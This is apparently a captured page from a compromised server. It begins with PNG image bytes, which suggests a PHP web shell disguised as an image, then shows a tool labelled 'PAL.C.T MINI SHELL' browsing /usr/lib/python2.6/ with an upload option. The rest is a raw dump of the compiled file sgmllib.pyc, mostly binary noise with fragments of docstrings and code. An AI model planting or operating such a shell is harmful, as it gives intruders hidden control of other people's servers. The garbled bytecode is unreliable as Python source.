php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/
upload
files >> //usr/lib/python2.6/sgmllib.pyc

Lc@s_dZddklZeddd[ddkZddkZddgZeid	Zeid
ZeidZ	eidZ
eid
ZeidZeidZ
eidZeidZeidZeidZdefdYZdeifdYZdefdYZedZedjoendS(s;A parser for SGML, using the derived class as a static DTD.i(twarnpy3ks1the sgmllib module has been removed in Python 3.0t
stackleveliNt
SGMLParsertSGMLParseErrors[&<]sN&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|<([a-zA-Z][^<>]*|/([a-zA-Z][^<>]*)?|![^<>]*)?s%&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]s&#([0-9]+)[^0-9]s
<[>a-zA-Z]s<[a-zA-Z][-.a-zA-Z0-9]*/s"<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/t>s[<>]s[a-zA-Z][-_.a-zA-Z0-9]*se\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*(\'[^\']*\'|"[^"]*"|[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*))?cBseZdZRS(s&Exception raised for all parse errors.(t__name__t
__module__t__doc__(((s/usr/lib/python2.6/sgmllib.pyR,scBsieZeidZddZdZdZdZdZ	dZ
dZd	Zd
Z
dZdZd
ZdZdZdZdZdZdZdZdZdZdZdZhdd6dd6dd6dd 6d!d"6Zd#Zd$Zd%Zd&Z d'Z!d(Z"d)Z#d*Z$d+Z%d,Z&RS(-s+&(?:([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+))(;?)icCs||_|idS(s#Initialize and reset this instance.N(tverbosetreset(tselfR((s/usr/lib/python2.6/sgmllib.pyt__init__Bs	cCsJd|_d|_g|_d|_d|_d|_tii	|dS(s0Reset this instance. Loses all unprocessed data.ts???iN(
tNonet_SGMLParser__starttag_texttrawdatatstacktlasttagt
nomoretagstliteralt
markupbaset
ParserBaseR	(R
((s/usr/lib/python2.6/sgmllib.pyR	Gs						cCsd|_|_dS(sYEnter literal mode (CDATA) till EOF.

        Intended for derived classes only.
        iN(RR(R
((s/usr/lib/python2.6/sgmllib.pyt
setnomoretagsQscGs
d|_dS(sPEnter literal mode (CDATA).

        Intended for derived classes only.
        iN(R(R
targs((s/usr/lib/python2.6/sgmllib.pyt
setliteralXscCs!|i||_|iddS(sFeed some data to the parser.

        Call this as often as you want, with as little or as much text
        as you want (may include '
').  (This just saves the text,
        all the processing is done by goahead().)
        iN(Rtgoahead(R
tdata((s/usr/lib/python2.6/sgmllib.pytfeed_scCs|iddS(sHandle the remaining data.iN(R(R
((s/usr/lib/python2.6/sgmllib.pytclosejscCst|dS(N(R(R
tmessage((s/usr/lib/python2.6/sgmllib.pyterrornsc	Csy|i}d}t|}x||jo
|io|i|||!|}Pnti||}|o|i}n|}||jo|i|||!n|}||joPn||djoti||oZ|i	o"|i|||d}qn|i
|}|djoPn|}qn|id|o7|i|}|djoPn|}d|_	qn|i	o4||djo|id|d}qPqn|id|o.|i
|}|djoPn|}qn|id|o2|i|}|djoPn||}qn|id|o.|i|}|djoPn|}qqn+||djo|i	o"|i|||d}qnti||}|oU|id}|i||id}||dd	jo|d}qqnti||}|oU|id}|i||id}||dd	jo|d}qqqn|id
ti||}|p"|i|||d}qn|id}||joPn|i|||!|}qW|o+||jo|i|||!|}n|||_dS(Nit<is</s<!--s<?s<!t&t;sneither < nor & ??(RtlenRthandle_datatinterestingtsearchtstarttstarttagopentmatchRtparse_starttagt
startswithtparse_endtagt
parse_commenttparse_pitparse_declarationtcharreftgroupthandle_charreftendt	entityrefthandle_entityrefRt
incomplete(	R
R2RtitnR(tjtktname((s/usr/lib/python2.6/sgmllib.pyRts	







	













t=cCs|i}|||d!djo|idnti||d}|pdS|id}|i||d|!|id}||S(Nis<?sunexpected call to parse_pi()ii(RRtpicloseR%R&t	handle_piR2(R
R6RR(R8((s/usr/lib/python2.6/sgmllib.pyR-s	cCs|iS(N(R(R
((s/usr/lib/python2.6/sgmllib.pytget_starttag_textsc
Csd|_|}|i}ti||oti||}|pdS|idd\}}d||_|i}|id}|i	|||||idd!|_|St
i||d}|pdS|id}g}	|||d!djo|}|i
}n^ti||d}|p|idn|id}||d|!i}||_
x||joti||}|pPn|iddd\}
}}|p
|
}nv|d d	jo|djnp&|d d
jo|djno|dd!}n|ii|i|}|	i|
i|f|id}q}W||djo|d}n|||!|_|i||	|S(Niiis<%s/is<>s!unexpected call to parse_starttagit't"R(R
RRtshorttagopenR(tshorttagR0tlowerR2tfinish_shorttagt
endbracketR%R&RttagfindRtattrfindtentity_or_charreftsubt_convert_reftappendtfinish_starttag(
R
R6t	start_posRR(ttagRR9R8tattrstattrnametrestt	attrvalue((s/usr/lib/python2.6/sgmllib.pyR)s`		

	

&&	cCs|ido,|i|idpd|idS|ido+|i|idpd|idSd|idSdS(Nis&#%s%siis&%s;s&%s(R0tconvert_charreftgroupstconvert_entityref(R
R(((s/usr/lib/python2.6/sgmllib.pyRJ,scCs|i}ti||d}|pdS|id}||d|!ii}||djo|d}n|i||S(NiiiiR(RRER%R&tstripRCt
finish_endtag(R
R6RR(R8RN((s/usr/lib/python2.6/sgmllib.pyR+7s	
cCs.|i|g|i||i|dS(N(RLR#RW(R
RNR((s/usr/lib/python2.6/sgmllib.pyRDDs
cCsyt|d|}Wnhtj
o\yt|d|}Wn$tj
o|i||dSX|i|||dSn)X|ii||i|||dSdS(Ntstart_tdo_iii(tgetattrtAttributeErrortunknown_starttagthandle_starttagRRK(R
RNROtmethod((s/usr/lib/python2.6/sgmllib.pyRLKs	cCsq|p6t|id}|djo|i|dSn||ijoLyt|d|}Wn tj
o|i|nX|i|dSt|i}x2t|D]$}|i||jo
|}qqWxt|i|jov|id}yt|d|}Wntj
o
d}nX|o|i||n|i||id=qWdS(Niitend_i(	R"Rtunknown_endtagRZR[treport_unbalancedtrangeR
t
handle_endtag(R
RNtfoundR^R6((s/usr/lib/python2.6/sgmllib.pyRW]s8

	



cCs||dS(N((R
RNR^RO((s/usr/lib/python2.6/sgmllib.pyR]|scCs|dS(N((R
RNR^((s/usr/lib/python2.6/sgmllib.pyRcscCs+|iod|dGHdG|iGHndS(Ns*** Unbalanced </Rs
*** Stack:(RR(R
RN((s/usr/lib/python2.6/sgmllib.pyRas

cCsWyt|}Wntj
odSXd|jo
djnpdS|i|S(s/Convert character reference, may be overridden.Nii(tintt
ValueErrortconvert_codepoint(R
R:R7((s/usr/lib/python2.6/sgmllib.pyRSscCs
t|S(N(tchr(R
t	codepoint((s/usr/lib/python2.6/sgmllib.pyRgscCs>|i|}|djo|i|n|i|dS(s0Handle character reference, no need to override.N(RSR
tunknown_charrefR#(R
R:treplacement((s/usr/lib/python2.6/sgmllib.pyR1s
RtltRtgtR tampR@tquots'taposcCs'|i}||jo	||SdSdS(sConvert entity references.

        As an alternative to overriding this method; one can tailor the
        results by setting up the self.entitydefs mapping appropriately.
        N(t
entitydefs(R
R:ttable((s/usr/lib/python2.6/sgmllib.pyRUs	
	cCs>|i|}|djo|i|n|i|dS(s.Handle entity references, no need to override.N(RUR
tunknown_entityrefR#(R
R:Rk((s/usr/lib/python2.6/sgmllib.pyR4s
cCsdS(N((R
R((s/usr/lib/python2.6/sgmllib.pyR#scCsdS(N((R
R((s/usr/lib/python2.6/sgmllib.pythandle_commentscCsdS(N((R
tdecl((s/usr/lib/python2.6/sgmllib.pythandle_declscCsdS(N((R
R((s/usr/lib/python2.6/sgmllib.pyR=scCsdS(N((R
RNRO((s/usr/lib/python2.6/sgmllib.pyR\scCsdS(N((R
RN((s/usr/lib/python2.6/sgmllib.pyR`scCsdS(N((R
tref((s/usr/lib/python2.6/sgmllib.pyRjscCsdS(N((R
Rw((s/usr/lib/python2.6/sgmllib.pyRss('RRtretcompileRHRR	RRRRRRt_decl_othercharsR-R>R)RJR+RDRLRWR]RcRaRSRgR1RqRUR4R#RtRvR=R\R`RjRs(((s/usr/lib/python2.6/sgmllib.pyR<sF	
						g			>		
							
		
)										tTestSGMLParsercBseeZddZdZdZdZdZdZdZdZ	d	Z
d
ZRS(icCsd|_ti||dS(NR(ttestdataRR(R
R((s/usr/lib/python2.6/sgmllib.pyRs	cCs>|i||_tt|idjo|indS(NiF(R|R"treprtflush(R
R((s/usr/lib/python2.6/sgmllib.pyR#scCs0|i}|od|_dGt|GHndS(NRsdata:(R|R}(R
R((s/usr/lib/python2.6/sgmllib.pyR~s		cCsP|it|}t|djo|d d|d}ndG|GHdS(NiDi s...iscomment:(R~R}R"(R
Rtr((s/usr/lib/python2.6/sgmllib.pyRts

cCs^|i|pd|dGHn9d|Gx(|D] \}}|dd|dGq1WdGHdS(Nsstart tag: <RR;R@(R~(R
RNROR:tvalue((s/usr/lib/python2.6/sgmllib.pyR\s
cCs|id|dGHdS(Nsend tag: </R(R~(R
RN((s/usr/lib/python2.6/sgmllib.pyR`s
cCs|id|dGHdS(Ns*** unknown entity ref: &R!(R~(R
Rw((s/usr/lib/python2.6/sgmllib.pyRss
cCs|id|dGHdS(Ns*** unknown char ref: &#R!(R~(R
Rw((s/usr/lib/python2.6/sgmllib.pyRjs
cCs|id|dGHdS(Ns*** unknown decl: [t](R~(R
R((s/usr/lib/python2.6/sgmllib.pytunknown_decls
cCsti||idS(N(RRR~(R
((s/usr/lib/python2.6/sgmllib.pyRs
(RRRR#R~RtR\R`RsRjRR(((s/usr/lib/python2.6/sgmllib.pyR{s				
				c		Cs5ddk}|djo|id}n|o%|ddjo|d}t}nt}|o|d}nd}|djo
|i}nFyt|d}Wn/tj
o#}|GdG|GH|idnX|i	}||ij	o|i
n|}x|D]}|i|qW|i
dS(	Niiis-ss	test.htmlt-Rt:(tsysR
targvRR{tstdintopentIOErrortexittreadRR(	RRtklasstfiletftmsgRtxtc((s/usr/lib/python2.6/sgmllib.pyttests2





	t__main__(RtwarningsRRRxt__all__RyR$R5R3R/R'RARBR<RERFRGtRuntimeErrorRRRR{R
RR(((s/usr/lib/python2.6/sgmllib.pyt<module>s4		7$

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`